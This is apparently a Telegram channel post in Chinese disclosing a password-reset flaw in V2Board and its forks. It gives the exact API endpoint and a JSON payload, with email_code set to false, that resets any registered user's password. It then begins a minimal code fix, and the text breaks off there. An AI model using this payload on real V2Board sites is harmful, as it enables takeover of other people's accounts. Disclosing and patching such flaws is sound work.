Post #3186 18K May 22, 2026, 12:03 UTC https://t.me/harukalab/183 https://t.me/dishujichang_pd/1171芭芭拉叭叭,漏洞又出新品啦!机场老板还不快修 Telegram 🏭遙ラボ V2Board及其所有分支漏洞,影响全部版本,该漏洞可修改一切已注册用户账号密码 复现方式: API端点:api/v1/passport/auth/forget Payload: { "email":"任意一个已注册用户", "password": "密码", "email_code": false } 即可重置对应账户密码 最小改动修复方式: app/Http/Requests/Passport/AuthForget.php 找到'email_code' => 'required'…